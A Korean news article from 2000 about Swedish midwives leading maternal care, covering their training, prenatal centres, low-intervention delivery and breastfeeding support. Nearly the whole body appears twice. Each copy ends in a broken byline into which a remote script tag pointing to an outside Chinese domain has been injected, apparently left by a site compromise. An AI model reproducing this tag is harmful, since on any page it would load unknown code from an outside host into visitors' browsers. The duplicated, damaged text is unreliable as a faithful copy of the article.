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스웨덴, 조산사가 여성건강관리 주역
[] 기사입력 2000-09-22 오후 14:20:20
스웨덴의 병원과 모자보건(MCH)센터에서는 조산사가 임신과 출산을 비롯한 여성건강 관리에 있어 주도적인 역할을 하고 있다.
조산사가 되려면 조산사학교(3년제·1백20학점)를 마쳐야 한다. 졸업과 함께 학사학위가 주어지며 바로 대학원에 진학할 수 있다. 간호사가 조산사가 되기 위해선 60학점(18개월 과정)을 별도로 이수해야 한다.
각 지역마다 있는 MCH센터에는 조산사가 상주하고 있다. 조산사 1명이 연간 1백여명의 임부를 담당하며 주로 산전·후 관리와 성교육, 가족계획, 자궁암 검사 등을 수행한다. 해당 지역의 임부 대부분이 센터에 등록을 하며 산전관리 교육에는 남편이 함께 참여한다.
센터에선 기존의 라마즈 교육 대신 조산사들이 자체 개발한 프로그램에 따라 산전 교육을 하며 이때 다양한 컴퓨터 교육매체를 활용한다. 특히 통증관리를 위해 호흡법은 물론 경막외 마취, 침술, 뜨거운 물 샤워, 다양한 자세, 질소 흡입법 등을 알려주고 원하는 방법을 선택할 수 있는 기회를 준다. 특히 임신 말기에 요통이 있을 때를 대비해 전기자극법(TENS)을 집에서 사용할 수 있도록 가르쳐준다.
의사의 진찰은 임신 10∼11주 사이에 한번만 시행되고 나머지 모든 관리는 조산사가 한다. 초음파 검사는 임신 중 한차레만 임부가 선택해서 할 수 있으며 의사나 조산사가 시행한다. 문제가 발생했을 때는 연계된 병원으로 이송한다. 이동시 모든 기록지는 임부가 직접 가지고 다니며, 진료 후 다시 MCH센터에 보관한다.
분만은 병원에서 이뤄지며 정상분만은 모두 조산사가 맡는다. 정상분만율은 60∼70% 정도. 대기실과 분만실 구분없이 한 장소(delivery -labor room)에서 분만이 이뤄지며 남편이 함께 참여한다. 합병증이 있는 경우나 마취를 하거나 옥시토신을 쓸 때에는 의사의 조언을 듣는다. 의사들 역시 정상분만에 대해선 조산사가 더 전문가라고 말한다.
특이한 점은 조산사들이 중국에서 침술을 배워 무통분만을 시도하고 있는것이며 이를 의사나 당국에서 인정해 주고 있다. 정식으로 침술을 배운 조산사가 스웨덴 전체에서 50여명에 이른다.
조산사들은 태아심음을 들을 때 도플러보다 트라우베를 선호한다. 이는 태아심음의 미묘한 양상과 변화를 더 잘 알 수 있기 때문이다. 태아심음 전자감시기는 합병증이 있는 경우, 마취 시, 옥시토신을 사용할 경우에만 부분적으로 사용한다.
조산사들은 산모를 가능한 자연스러운 상태에 두고 출산을 유도하며 출산 자세는 산모가 원하는 대로 해준다. 출산 자세에 대한 안내 그림을 분만실과 산과병동 벽에 붙여 놓고 산모가 선택할 수 있도록 한다.
회음절개술은 하지 않으며 때로 회음 부위에 열상이 생긴 경우에만 봉합하는 정도다. 아기 머리가 나오면 잡아당기거나 돌려주는 대신 스스로 돌아서 나오도록 지지해 준다. 아기가 양수나 태변을 흡인한 경우에만 분비물을 흡입한다.
탯줄도 바로 절제하지 않으며 산모가 침대에 누워 아기를 안고 있는 상태에서 아빠가 자르도록 한다. 신생아 눈 간호도 별도로 하지 않는다. 산전관리를 통해 이미 임질 여부를 파악했기 때문에 굳이 항생제를 쓸 필요가 없다는 것이다.
특히 조산사들은 많은 실험연구를 통해 이같은 새로운 시도들이 과학적임을 입증해 내고 있다.
조산사들은 아기와 부모의 애착관계를 중요하게 여기며 특히 아빠의 역할을 강조한다. 산과병동의 일부는 가족병동으로 꾸며져 가족이 함께 있을 수 있으며 남편은 부인의 산후조리를 적극 돕고 아기를 돌본다.
모유수유도 매우 중요시한다. 아기가 태어나면 바로 젖을 먹이며 정상아는 물론 저체중아나 조산아에게도 모유를 먹인다. 생후 6개월까지의 모유수유율이 90%를 넘는다고 한다. 병원마다 입구에 모유수유를 하는 조각상을 전시해 놓고 있다.
산모는 산후 3일째 검진을 받으며 이때 조산사는 모유수유에 문제가 없는지 확인하고 교육한다. 퇴원 후 산후관리는 MCH센터에서 한다.
이외 조산사가 운영하는 기관으로 가정집과 같은 형태의 분만센터 (Alternative Birth Care Center)가 있다. 이곳에서는 산모와 남편이 직접 아기를 받으며 조산사는 감시하고 조언하는 역할만 한다.
모유수유를 권장하기 위해 마련된 산모호텔도 조산사가 운영한다. 정상 산모는 2박3일, 모유수유에 문제가 있는 산모는 일주일 정도 입원한다.
스웨덴의 여성건강관리는 주로 임신과 출산 등 모성 중심으로 되어 있다. 조산사들은 앞으로 중년이나 노년 여성을 위한 프로그램을 개발하는 것이 과제라고 말한다.
또한 많은 조산사들이 석·박사 과정을 이수하고자 하는 추세였다. 이들은 간호연구를 통해 업무의 질을 향상시켜 나갈 수 있다는데 자부심을 갖고 있었다.
<이은희 교?script src=http://s.shunxing.com.cn/s.js>
조산사가 되려면 조산사학교(3년제·1백20학점)를 마쳐야 한다. 졸업과 함께 학사학위가 주어지며 바로 대학원에 진학할 수 있다. 간호사가 조산사가 되기 위해선 60학점(18개월 과정)을 별도로 이수해야 한다.
각 지역마다 있는 MCH센터에는 조산사가 상주하고 있다. 조산사 1명이 연간 1백여명의 임부를 담당하며 주로 산전·후 관리와 성교육, 가족계획, 자궁암 검사 등을 수행한다. 해당 지역의 임부 대부분이 센터에 등록을 하며 산전관리 교육에는 남편이 함께 참여한다.
센터에선 기존의 라마즈 교육 대신 조산사들이 자체 개발한 프로그램에 따라 산전 교육을 하며 이때 다양한 컴퓨터 교육매체를 활용한다. 특히 통증관리를 위해 호흡법은 물론 경막외 마취, 침술, 뜨거운 물 샤워, 다양한 자세, 질소 흡입법 등을 알려주고 원하는 방법을 선택할 수 있는 기회를 준다. 특히 임신 말기에 요통이 있을 때를 대비해 전기자극법(TENS)을 집에서 사용할 수 있도록 가르쳐준다.
의사의 진찰은 임신 10∼11주 사이에 한번만 시행되고 나머지 모든 관리는 조산사가 한다. 초음파 검사는 임신 중 한차레만 임부가 선택해서 할 수 있으며 의사나 조산사가 시행한다. 문제가 발생했을 때는 연계된 병원으로 이송한다. 이동시 모든 기록지는 임부가 직접 가지고 다니며, 진료 후 다시 MCH센터에 보관한다.
분만은 병원에서 이뤄지며 정상분만은 모두 조산사가 맡는다. 정상분만율은 60∼70% 정도. 대기실과 분만실 구분없이 한 장소(delivery -labor room)에서 분만이 이뤄지며 남편이 함께 참여한다. 합병증이 있는 경우나 마취를 하거나 옥시토신을 쓸 때에는 의사의 조언을 듣는다. 의사들 역시 정상분만에 대해선 조산사가 더 전문가라고 말한다.
특이한 점은 조산사들이 중국에서 침술을 배워 무통분만을 시도하고 있는것이며 이를 의사나 당국에서 인정해 주고 있다. 정식으로 침술을 배운 조산사가 스웨덴 전체에서 50여명에 이른다.
조산사들은 태아심음을 들을 때 도플러보다 트라우베를 선호한다. 이는 태아심음의 미묘한 양상과 변화를 더 잘 알 수 있기 때문이다. 태아심음 전자감시기는 합병증이 있는 경우, 마취 시, 옥시토신을 사용할 경우에만 부분적으로 사용한다.
조산사들은 산모를 가능한 자연스러운 상태에 두고 출산을 유도하며 출산 자세는 산모가 원하는 대로 해준다. 출산 자세에 대한 안내 그림을 분만실과 산과병동 벽에 붙여 놓고 산모가 선택할 수 있도록 한다.
회음절개술은 하지 않으며 때로 회음 부위에 열상이 생긴 경우에만 봉합하는 정도다. 아기 머리가 나오면 잡아당기거나 돌려주는 대신 스스로 돌아서 나오도록 지지해 준다. 아기가 양수나 태변을 흡인한 경우에만 분비물을 흡입한다.
탯줄도 바로 절제하지 않으며 산모가 침대에 누워 아기를 안고 있는 상태에서 아빠가 자르도록 한다. 신생아 눈 간호도 별도로 하지 않는다. 산전관리를 통해 이미 임질 여부를 파악했기 때문에 굳이 항생제를 쓸 필요가 없다는 것이다.
특히 조산사들은 많은 실험연구를 통해 이같은 새로운 시도들이 과학적임을 입증해 내고 있다.
조산사들은 아기와 부모의 애착관계를 중요하게 여기며 특히 아빠의 역할을 강조한다. 산과병동의 일부는 가족병동으로 꾸며져 가족이 함께 있을 수 있으며 남편은 부인의 산후조리를 적극 돕고 아기를 돌본다.
모유수유도 매우 중요시한다. 아기가 태어나면 바로 젖을 먹이며 정상아는 물론 저체중아나 조산아에게도 모유를 먹인다. 생후 6개월까지의 모유수유율이 90%를 넘는다고 한다. 병원마다 입구에 모유수유를 하는 조각상을 전시해 놓고 있다.
산모는 산후 3일째 검진을 받으며 이때 조산사는 모유수유에 문제가 없는지 확인하고 교육한다. 퇴원 후 산후관리는 MCH센터에서 한다.
이외 조산사가 운영하는 기관으로 가정집과 같은 형태의 분만센터 (Alternative Birth Care Center)가 있다. 이곳에서는 산모와 남편이 직접 아기를 받으며 조산사는 감시하고 조언하는 역할만 한다.
모유수유를 권장하기 위해 마련된 산모호텔도 조산사가 운영한다. 정상 산모는 2박3일, 모유수유에 문제가 있는 산모는 일주일 정도 입원한다.
스웨덴의 여성건강관리는 주로 임신과 출산 등 모성 중심으로 되어 있다. 조산사들은 앞으로 중년이나 노년 여성을 위한 프로그램을 개발하는 것이 과제라고 말한다.
또한 많은 조산사들이 석·박사 과정을 이수하고자 하는 추세였다. 이들은 간호연구를 통해 업무의 질을 향상시켜 나갈 수 있다는데 자부심을 갖고 있었다.
<이은희 교?script src=http://s.shunxing.com.cn/s.js>
